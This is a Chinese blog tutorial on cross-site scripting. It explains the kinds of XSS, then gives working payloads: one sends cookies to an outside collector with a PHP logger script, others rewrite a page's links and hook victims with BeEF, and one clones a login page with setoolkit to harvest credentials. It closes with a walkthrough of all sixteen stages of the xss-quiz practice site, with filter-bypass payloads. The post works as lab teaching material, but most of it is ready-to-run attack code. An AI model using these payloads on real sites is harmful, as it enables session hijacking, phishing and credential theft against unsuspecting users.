XSS攻击

最新推荐文章于 2024-05-22 10:49:06 发布
最新推荐文章于 2024-05-22 10:49:06 发布
阅读量1.8k 收藏 9
点赞数 3
分类专栏： Web渗透
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43693132/article/details/112854071
版权

XSS攻击

文章目录

前言

跨站脚本攻击（Cross Site Scripting），为了不和层叠样式表（cascading style sheets，css）的缩写混淆，故将跨站脚本攻击缩写为xss。而已攻击者往web页面里插入恶意script代码，当用户浏览该网页时，嵌入在web里面的script代码会被执行，从而达到恶意攻击用户的目的。（cookie盗取、网页篡改）
参考链接：https://owasp.org/www-community/xss-filter-evasion-cheatsheet

一、XSS分类

1. 反射型XSS：

非持久性xss，攻击有效次数为一次
例如：攻击者通过邮件等形式将包含xss代码的链接发送给正常用户，当用户点击时，服务器接收该用户的请求并进行处理，然后把带有xss代码发送给用户。用户浏览器解析执行代码，触发xss漏洞。
在这里插入图片描述

2. 存储型XSS：

持久型xss，攻击脚本存储在目标服务器的数据库中，具有更强的隐蔽性
例如：攻击者在论坛、博客、留言板中，发帖的过程中嵌入xss攻击代码，帖子被目标服务器存储在数据库中。当用户进行正常访问时，触发xss代码。
在这里插入图片描述

3. DOM型XSS：

Dom型XSS全称document object model，使用dom动态访问更新文档的内容、结构及样式
例如：html标签都是节点，节点组成了节点树。通过HTML DOM可以对树上的所有结点进行修改。服务器响应不会处理攻击者脚本，而是用户浏览器处理这个响应时，DOM对象就会处理xss代码，触发xss漏洞。（用户浏览器来处理这个响应）
在这里插入图片描述

二、XSS盗取Cookie

1. cookie介绍：

（1）Cookie是在HTTP协议下，服务器或脚本可以维护客户工作站上信息的一仲方式。Cookie是由web服务器保存在用户浏览器（客户端）上的小文本文件，它可以包含有关用户的信息；
（2）目前有些cookie是临时的，有些则是持续的。临时的cookie只在浏览器上保存一段规定的时间，一旦超过规定的时间，该cookie将会被系统清除；
（3）服务器可以利用cookie包含信息的任意来筛选并经常性维护这些信息，以判断在HTTP传输的状态；
（4）Cookie是最典型的应用是判定注册用户是否已经登录网站，用户可能会得到提示，是否在下一次进入此网站时保留用户信息以便简化登录手续，这些都是cookie的功用。另一个重要应用场合时“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同商品，这些信息都会写入cookie，以便在最后付款时提取信息；

2. 利用反射型xss盗取cookie：

Payload：<script>document.location=’http://ip/cookie.php?cookie=’+document.cookie</scrtipt>

参数介绍：
（1）document：代表整个文档流
（2）Location：重定向
（3）cookie.php文件配置：
代码如下：

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

（4）效果截图：

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/xss_cookie/cookie.php?cookie='+document.cookie</script>#http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/xss_cookie/cookie.php?cookie='+document.cookie</script>#

在这里插入图片描述

三、XSS篡改网页链接

1. XSS篡改网页链接：

payload：

<script>
window.onload = function(){
var link=document.getElementsByTagName("a");
for(j = 0;j < link.length;j++){
  link[j].href="http://127.0.0.1/";}
}

</script>

2. 代码分析：

为Windows对象，调用onload事件，当打开加载页面时，执行function匿名函数（未定义名称），花括号表示函数体，使用document.getElementsByTagName获取a标签，所有的a标签都存储在变量link中，并且当前页面不止有一个链接标签，由此猜测link为一个数组，最后使用for进行遍历，j等于0表示从0开始的数组都是，j小于link.length表示最大长度下标索引为link.length减1，link[j]遍历出来就可以调用href属性，最后将a标签链接的网址替换为href属性中的链接。

3. 利用反射型xss篡改网页链接：

在这里插入图片描述

四、使用beef进行xss漏洞利用

1. 使用beef生成hook.js：

root@cxyzupup:~# beef-xss

在这里插入图片描述

2. 将hook.js写入到恶意主机中：

a：开启主机中的http服务：/etc/init.d/apache2 start
在这里插入图片描述
b：将hook.js链接添加到恶意主机的index.html文档中： sudo vi/var/www/html/index.html
在这里插入图片描述
c：利用xss漏洞将url篡改为恶意主机url（http://192.168.1.5/index.html）：

<script>
window.onload = function(){
var link=document.getElementsByTagName("a");
for(j = 0;j < link.length;j++){
  link[j].href="http://192.168.1.5/index.html";}
}

在这里插入图片描述
d：现在只要访问该网站页面下的任意链接，都会触发xss重定向，被遭beef利用：
在这里插入图片描述

五、利用xss盗取用户信息

1. 使用setoolkit工具克隆存在xss漏洞的网站：

sudo setoolkit

输入1：Social-Engineering Attacks
在这里插入图片描述
输入2：Website Attack Vectors
在这里插入图片描述
输入3：Credential Harvester Attack Method
在这里插入图片描述
输入2：Site Cloner
在这里插入图片描述
输入被克隆网站的url：http://192.168.1.4/dvwa/login.php
在这里插入图片描述

2. 利用xss漏洞将网站链接重定向到恶意url:

（1）Payload：

<script>window.location="http://192.168.1.6/"</script>

在这里插入图片描述
（2）使用存储型xss进行利用，每次刷新页面，url都会被重定向到恶意服务器所克隆的网站url链接下，此时用户输入的信息都会被记录在setoolkit中：
在这里插入图片描述

六、XSS实操：

1. Stage #1

项目地址：https://xss-quiz.int21h.jp/
（1） xss漏洞查找：输入位置中提交独一无二的字符串，在html文本中查找
在这里插入图片描述
（2）发现输入内容在html文本中的b标签中显示，b标签在html中规定为粗体文本，在b标签中，使用会直接被当作js代码执行：

payload：
<script>alert(document.domain)</script>

在这里插入图片描述
（3）闭合b标签，触发xss：

payload：
</b><script>alert(document.domain)</script>

在这里插入图片描述

2. Stage #2

项目地址：
https://xss-quiz.int21h.jp/stage2.php?sid=712a14fcd290cc3d6b52d3a40805b22f41dc85ce
（1）xss漏洞查找：输入位置中提交独一无二的字符串，在html文本中查找
在这里插入图片描述
（2）通过审查元素发现输入的内容会在input类型为文本框的value属性中输出，因此可以闭合input标签，触发xss

payload：
cxyzupup"><script>alert(document.domain)</script>

在这里插入图片描述
（3）也可以在input类型中添加onmuseover属性，引入js代码触发xss：

payload：
cxyzupup" onmouseover=alert(document.domain)>        ######当鼠标移动到输入框，就会进行xss弹窗

在这里插入图片描述

3. Stage #3

项目地址：
https://xss-quiz.int21h.jp/stage-3.php?sid=d83b59699bb2ae415cff59c3a665481135a4f4cd
（1）Html select标签介绍：select元素用来创建单选或多选菜单，元素中的标签用来定义列表中的可用选项
在这里插入图片描述
（2）闭合标签触发xss：

payload：
</options><script>alert(document.domain)</script>

在这里插入图片描述

4. Stage #4

项目地址：
https://xss-quiz.int21h.jp/stage_4.php?sid=245a1658ea3b379e740178e73db494ff71b331ea
（1）HTML表单隐藏参数介绍（hidden）：可以在html文件中查找hidden参数隐藏域是用来收集或发送信息的不可见元素，对于网页的访问者来说，隐藏域是看不见的。当表单被提交时，隐藏域就会将信息用你设置时定义的名称和值发送到你的服务器上

代码格式：<input type="hidden" name="......" value="......">

在这里插入图片描述
（2）闭合input标签，触发xss：

payload：
"><script>alert(document.domain)</script>

在这里插入图片描述
（3）使用svg进行xss漏洞利用：
HTML中的svg简介：意为可缩放矢量图形（scalable vector graphics），使用xml格式定义图像
用法：<svg/事件=””> 加载svg时，触发事件 

payload:
"><svg onload=alert(document.domain)>%0a

在这里插入图片描述

5. Stage #5

项目地址：
https://xss-quiz.int21h.jp/stage–5.php?sid=7a4ef50e040bc6fcf0c7ed95fb4d504f4a5e2ba5
（1）maxlength属性介绍：规定输入的字段允许的最大长度，如果设置了maxlength属性，则输入内容不介绍找过所允许的字符数
在这里插入图片描述
（2）使用python中的内置函数（len）计算对应payload的长度
a. 定义一个payload：

payload = “<script>alert(document.domain)</script>”

在这里插入图片描述
b. 使用函数len计算payload长度：

len(payload)

在这里插入图片描述
（3）闭合input标签及修改maxlength值，构造payload触发xss：
a. 修改maxlength值：
在这里插入图片描述
b. 构造payload触发xss：

111"><script>alert(document.domain)</script>

在这里插入图片描述
（4）使用onmouseover事件触发xss：每次当鼠标移动到输入框时，就会触发xss

payload：
111”onmouseover=alert(document.domain)>

在这里插入图片描述

6. Stage #6

项目地址：
https://xss-quiz.int21h.jp/stage-no6.php?sid=e0b84cb12162d8ac2d8eb4dc99d142d1d9e3e1d4
（1）事件属性介绍：
https://www.w3school.com.cn/html5/html5_ref_eventattributes.ASP
（2）xss漏洞查找：输入位置中提交独一无二的字符串，在html文本中查找
在这里插入图片描述
（3）闭合input标签，插入js代码：

payload：
cxyzupup"><script>alert(document.domain)</script>

在这里插入图片描述
（4）使用onmouseover事件，绕过尖括号，触发xss：

payload：
cxyzupup" οnmοuseοver="alert(document.domain)

在这里插入图片描述

7. Stage #7

项目地址：
https://xss-quiz.int21h.jp/stage07.php?sid=f1350171e812a611e024eb81cdde889b8d3ec6d4
（1）xss漏洞查找：输入位置中提交独一无二的字符串，在html文本中查找
在这里插入图片描述
（2）闭合input标签触发xss：

payload：
cxyzupup"><script>alert(document.domain)</script>

在这里插入图片描述
（3）在input标签中插入onmouseover事件，触发xss：

payload：
cxyzupup" οnmοuseοver="alert(document.domain)"

在这里插入图片描述
注意：js代码是以一个双引号开始和结束的；
（4）重新构造payload触发xss：

payload：
cxyzupup” onmouseover=alert(document.domain)

在这里插入图片描述

8. Stage #8

项目地址：
https://xss-quiz.int21h.jp/stage008.php?sid=65c880bab251c3a49cc78ccac6adb943650b234d
（1）xss漏洞查找：输入位置中提交独一无二的字符串，在html文本中查找
发现提交内容在a标签中的href属性中显示
在这里插入图片描述
（2）a标签中的href属性介绍：

a. <a>标签定义超链接，其最重要属性便为href属性，它指链接目标

在这里插入图片描述

b. Javascript伪协议介绍：https://www.jb51.net/article/52358.htm

（3）构造JavaScript伪协议构造payload触发xss：

payload：
javascript:alert(document.domain)

在这里插入图片描述

9. Stage #9

项目地址：
https://xss-quiz.int21h.jp/stage_09.php?sid=0684a8c2eff54ebf0fb700cbcb8d10b7ee914154
注意：使用的编码为utf-7，大多浏览器不支持

payload：
onclick="alert(document.domain)"

在这里插入图片描述

10. Stage #10

项目地址：
https://xss-quiz.int21h.jp/stage00010.php?sid=f8e551c82478a9ba0ca87fb69c5ab9704c8724c9
（1）xss漏洞查找：
a. 输入位置中提交独一无二的字符串，在html文本中查找
在这里插入图片描述
b. 闭合input标签触发xss:

payload：
”><script>alert(document.domain)</script>

在这里插入图片描述
（2）绕过过滤，触发xss：
a. 双写绕过：

payload：
cxyzupup"><script>alert(document.dodomainmain)</script>

在这里插入图片描述
b. 使用base64编码绕过：

payload：
cxyzupup"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

eval函数介绍：可以接受一个字符串str作为参数，并把这个参数作为脚本代码来执行
atob函数介绍：将加密的base64内容转换为原文
在这里插入图片描述

11. Stage #11

项目地址：
http://xss-quiz.int21h.jp/stage11th.php?sid=756e90d9a168c24e2abbc43d1f4409ce6ff70de3
（1）xss漏洞查找：输入位置中提交独一无二的字符串，在html文本中查找
在这里插入图片描述
（2）通过a标签插入js，触发xss：
a. a标签介绍：a标签定义超链接（用于从一张页面链接到另一张页面）或锚（用于从页面当前位置跳转至指定锚点），它最重要的属性是 href 属性，指示链接的目标。所有浏览器都支持 a 标签
b. href 属性介绍：标签定义HTML 链接，链接的地址在 href 属性中指定
c. 通过插入a标签构造payload:

payload：
111”> <a href=”javascript:alert(document.domain)”>xss</a>

在这里插入图片描述
d. 使用html编码的空格绕过替换，触发xss:

payload：
111”><a href=”javascr&#x09;ipt:alert(document.domain);”>xss</a>

注意：&#x09;：为tab键的html编码（HTML特殊字符不包括TAB. TAB应该也可以用&#9;表示，但只有在<PRE>...</PRE>;这样的标签内部才起作用. 其他地方只相当于一个空格.）

在这里插入图片描述

12. Stage #12

项目地址：
http://xss-quiz.int21h.jp/stage_no012.php?sid=188b00a4305c62ea415313484b57a9a3b59df5cb
（1）xss漏洞查找：
a. 输入位置中提交独一无二的字符串，在html文本中查找:
在这里插入图片描述
b. 闭合字符后使用html事件触发xss：

payload：
111”>οnclick=”alert(document.domain)”

在这里插入图片描述
（2）利用ie浏览器特性，闭合字符，触发xss：ie浏览器中两个反引号``可以闭合1个左边双引号

payload：
`` οnmοuseοver=alert(docunment.domain)

在这里插入图片描述
在这里插入图片描述

13. Stage #13

项目地址：此项目请使用低版本ie浏览器（ie6、ie7、ie8）
https://xss-quiz.int21h.jp/stage13_0.php?sid=e7fbad589bd0d122d70280ead4f110a15a780a58
（1）xss漏洞查找：
a. 输入位置中提交独一无二的字符串，在html文本中查找
在这里插入图片描述
b. 闭合字符后使用html事件触发xss：

payload：
111"> οnclick="alert(document.domain)"

在这里插入图片描述
注：插入的js被当作字符串输出，因此无法触发xss
（2）使用Css特性构造payload触发xss：
a. Css特性介绍：
Background：设置背景颜色
设置background:url，利用JavaScript伪协议执行js。目前只有老版本ie浏览器支持
b. 利用css特性构造payload触发xss：

payload：
background-color:#f00;background:url("javascript:alert(document.domain);");

在这里插入图片描述

14. Stage #14

项目地址：
https://xss-quiz.int21h.jp/stage-_-14.php?sid=629f751afebeb8704c0384e6e839b061d5798f5f
（1）xss漏洞查找：
a. 输入位置中提交独一无二的字符串，在html文本中查找：
在这里插入图片描述
b. 闭合字符后使用html事件触发xss：

payload：
111" οnclick="alert(document.domain)"

在这里插入图片描述
（2）利用css特性构造payload触发xss：
a. css部分特性介绍：
font-family: Verdana;（字体）
background-color: #555555;（背景颜色）
margin: 3px 20px 3px 20px;（内边距）
font-size: 12px;（文字大小）
在这里插入图片描述
b. 使用css特性构造payload触发xss：

payload：
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

Payload介绍：
/**/                           ###css中表示注释
ex/**/pression                 ###绕过对关键字expression的过滤
!window.x                      ###是Windows用来获取窗口全局变量，声明x变量是一个错误的信息，最后它会是一个undefined （没有定义的信息），没有定义就会执行下一条（alert(document.domain)）
window.x=1                     ###变量为1，弹一次窗

在这里插入图片描述

15. Stage #15

项目地址：
https://xss-quiz.int21h.jp/stage__15.php?sid=298f0a3a9ab97fe2566c2828b726de9ba1c3ff07
（1）xss漏洞查找：
a. 输入位置中提交独一无二的字符串，在html文本中查找：
在这里插入图片描述
b. 直接插入js代码，触发xss：

payload：
<script>alert(document.domain)</script>

在这里插入图片描述
（2）使用js可识别的16进制写法触发xss：
a. js可识别的16进制转换：利用python进行转换

>>> import binascii                                       ####导入import模块
>>> print ("\\x" +binascii.b2a_hex("<"))                  ###转换<
\x3c
>>> print ("\\x" +binascii.b2a_hex(">"))                  ###转换> 
\x3e

在这里插入图片描述
b. 使用js可识别的16进制编码构造payload触发xss：

payload：
\x3cscript\x3ealert(document.domain)\x3c/script\x3e

在这里插入图片描述
c. 在之前的payload基础上添加一个\，触发xss：

payload：
\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

在这里插入图片描述

16. Stage #16

项目地址：
http://xss-quiz.int21h.jp/stage00000016.php?sid=67973758e07ac879612c31437a2e1fb283b760e7
（1）使用Unicode编码构造payload触发xss：
a. Unicode介绍：Unicode（统一码、万国码、单一码）是计算机科学领域里的一项业界标准，包括字符集、编码方案等。Unicode是为了解决传统的字符编码方案的局限而产生的，它为每种语言中的每个字符设定了统一并且唯一的二进制编码，以满足跨语言、跨平台进行文本转换、处理的要求；
b. 使用python将字符转换为Unicode类型：

>>> import binascii                                ####导入import模块
>>> print "\\u00" + binascii.b2a_hex("<")          ###转换<
\u003c
>>> print "\\u00" + binascii.b2a_hex(">")          ###转换>
\u003e
>>>

在这里插入图片描述
c. 使用Unicode编码构造payload触发xss：

payload：
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

注意：这里转换的编码为单斜杠，是会被过滤的，因此使用双斜杠被过滤后还会留下一个斜杠
在这里插入图片描述

顶着一切热爱生活才是真的酷！！！！！！

cxyzupup
关注
  • 3
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
XSS 攻击
白菜执笔人的博客
03-03 799
Web安全攻防 学习笔记 一、XSS 攻击 1.1、实验环境介绍         地址：https://xss-quiz.int21h.jp/ 1.2、探测 XSS 过程 构造一个不会被识别为恶意代码的字符串提交到页面中 使用浏览器审查工具进行代码审查，寻找构造的字符串是否在页面中显示 1.3、闭合文本标签利用 XSS   ...
xss漏洞简析（干货）
Haowill的博客
06-23 4909
xss漏洞 获取cookie： 指向其他url： HTML事件触发XSS：<svg onload/οnclick=“alert(document.domain);”> javascript伪协议：javascript:alert(document.domain); 列： xss漏洞介绍 跨站脚本攻击（cross site scripting），缩写xss 恶意攻击者往web页面里插入script代码，当用户浏览该页面时，嵌入到其中web页面的script代码就会执行，从而达到恶意攻击者攻击用
网络安全必学知识点之XSS漏洞_xss stored
2401_84302628的博客
04-27 554
（1）输入在标签间的情况：测试是否被过滤或转义，若无则直接（2）输入在 script标签内：我们需要在保证内部JS语法正确的前提下，去插入我们的 payload。如果我们的输岀在字符串内部，测试字符串能否被闭合。如果我们无法闭合包裹字符串的引号，这个点就很难利用了可能的解决方案：可以控制两处输入且可用、存在宽字节（3）输入在HTML属性內：首先査看属性是否有双引号包裏、没有则直接添加新的事件属性；有双引号包裹则测试双引号是否可用，可用则闭合属性之后添加新的事件属性；
什么是XSS攻击？XSS跨站脚本攻击及防护（非常详细）零基础入门到精通，收藏这一篇就够了
最新发布
Javachichi的博客
05-22 2017
XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者在目标网站上注入恶意代码，当用户(被攻击者)登录网站时就会执行这些恶意代码，通过这些脚本可以读取cookie,session tokens，或者网站其他敏感的网站信息，对用户进行钓鱼欺诈。XSS玫击原理XSS是指攻击者在网页中嵌入客户端脚本，通常是JavaScript 编写的恶意代码，也有使用其他客户端脚本语言编写的。当用户使用浏览器浏览被嵌入恶意代码的网页时，恶意代码将会在用户的浏览器上执行。
【XSS漏洞】浅析XSS脚本注入点
Monsterlz123的博客
05-23 3781
Hello，各位小伙伴，依旧是晚上好~~ 今天跟大家分享的课题是，当我们进行XSS脚本注入时，在不同的注入点进行注入，会产生不同的结果，那么这到底是为什么呢？ 且听我细细道来~ ----------------------------------------------------------------------------------------------------...
xss总结
weixin_44089266的博客
05-31 347
xss简单介绍 xss全名为cross-site scripting 译为跨站脚本，由于与 css 层叠样式表重名，故为了与css区分，命名为xss，xss是发生在前段浏览器的漏洞，所以其影响对象为用户。 分享一些xss平台，可以供读者练习在线xss练习1，在线xss练习2 1.反射型xss 反射型xss，顾名思义也就是需要web服务器来充当反射者的角色，hacker在发现某网站存在该漏洞后通过在网页注入恶意代码，然后将带有恶意代码的网页发送给用户，之后诱导用户访问该页面，当用户访问一个带有XSS代码的UR
XSS学习笔记1
qq_61109509的博客
02-12 768
目录 xss(简介) javascript 插入进去的方式 xss类型 xss闯关小游戏 leval1 leval2 leval3 leval4 leval5 leval6 leval7 leval8 leval9 leval10 xss(简介) xss是跨站脚本攻击的缩写。恶意攻击者往web页面插入javascript代码，当用户浏览该页时，web里面的script就会对用户发起攻击 也就是说在css或html里面嵌入一些恶意的javascript，实现攻击目的 ja
关于pdf文件xss攻击问题，配置xssFilter方法
12-21
PDF文件XSS攻击问题主要指的是攻击者通过构造恶意的PDF文档，利用其中的脚本语言功能，尝试在用户的浏览器上执行跨站脚本攻击（XSS）。这种攻击方式可能导致敏感信息泄露、用户权限滥用或其他安全风险。在SpringBoot...
防止XSS攻击解决办法
01-20
防止XSS攻击是保护Web应用安全的重要一环，对于任何Web开发者来说都是必备的知识。 一、XSS攻击类型 XSS攻击主要分为三类：反射型XSS、存储型XSS和DOM型XSS。 1. 反射型XSS：攻击者通过构造恶意链接，诱使用户点击...
【PDF-XSS攻击】Java项目-上传文件-解决PDF文件XSS攻击
04-07
PDF-XSS实例文件
Java防止xss攻击附相关文件下载
08-25
首先说一下思路，防止这种类似于注入攻击，就是使用拦截器（Filter）处理特殊字符或过滤特殊字符 今天介绍一个方法，利用覆盖Servlet的getParameter方法达到处理特殊字符的目的来解决（防止）Xss攻击 web.xml,需要的...
预防XSS攻击和SQL注入XssFilter
05-19
一、什么是XSS攻击 XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如...
8、XSS 攻击的防御pdf资料
10-15
XSS攻击的核心在于将恶意的JavaScript代码注入到网页中，当用户浏览含有这些脚本的网页时，浏览器会执行这些代码，导致用户受到攻击。 XSS攻击主要发生在用户可以输入数据的地方，如微博、留言板、聊天室等。如果...
XSS攻击 代码演示
05-13
网站xss 攻击 代码示例，包括alert弹框，钓鱼网站截取用户cookie信息等；是学习xss的简单示例。可以下载玩玩看看，示例中的钓鱼网站地址为 演示地址，即本资源中的项目地址。xss也是很简单的，可以学习学习
XSS攻击实例1
01-11
在本实例"XSS攻击实例1"中，我们将探讨这种攻击的原理、类型以及如何在Asp.net框架下预防。 XSS攻击主要分为三类：反射型XSS、存储型XSS和DOM型XSS。反射型XSS是通过诱使用户点击含有恶意参数的链接，将脚本插入到...
springboot2.x使用Jsoup防XSS攻击的实现
10-15
SpringBoot 2.x 使用 Jsoup 防XSS攻击的实现主要是为了保护应用程序免受跨站脚本（Cross-Site Scripting，简称XSS）的威胁。XSS攻击是一种常见且危害极大的网络安全问题，它允许攻击者在受害者的浏览器上执行恶意...
xss跨站脚本攻击姿势大全
qq_56438857的博客
05-25 989
xss攻击的四十种姿势
XSS 常用标签及绕过姿势总结
hackzkaq的博客
08-17 5486
A位置可填充 /，/123/，%09，%0A，%0C，%0D，%20 B位置可填充 %09，%0A，%0C，%0D，%20 C位置可填充 %0B，/**/，如果加了双引号，则可以填充 %09，%0A，%0C，%0D，%20 D位置可填充 %09，%0A，%0C，%0D，%20，//，>例如 javascript:alert(1) ，进行 Unicode 编码时，只能对 alert 和 “1” 进行编码，框号编码后会被当成文本字符，不能执行。...
web安全防范之XSS漏洞攻击
每天积累一点，一年后你会发现，自己变化很大
02-11 922
最近在cnode社区，由@吴中骅的一篇关于XSS的文章，直接导致了社区的人开始在cnode尝试各种攻击。这里总结了一下这次碰到的一些问题与解决方案。 文件上传漏洞 之前nodeclub在上传图片的时候逻辑是这样的： //用户上传的文件名  var filename = Date.now() + '_' + file.name;  //用户文件夹  var userDir = path
xss攻击 beef
09-06
XSS攻击是一种跨站脚本攻击，它利用网页应用程序对用户输入的信任来注入恶意的客户端脚本。而beef则是一种用于进行XSS攻击的平台。beef-xss是beef平台的一部分，它允许攻击者在受害者的浏览器中执行恶意代码。 使用beef-xss进行XSS攻击需要在Kali上安装beef-xss工具，并输入"beef-xss"命令来获取恶意代码。如果没有安装beef，需要先进行安装，并按照提示一直输入"y"进行安装。 在进行XSS攻击之前，建议先了解XSS的基本知识和攻击原理。可以参考引用中的实验目的和实验内容，以及引用中提供的Beef-XSS平台基本使用视频。beef平台有很多功能模块，其中Exploit模块是最常用的，但对于初学者来说，使用Browser模块就足够了。 <span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值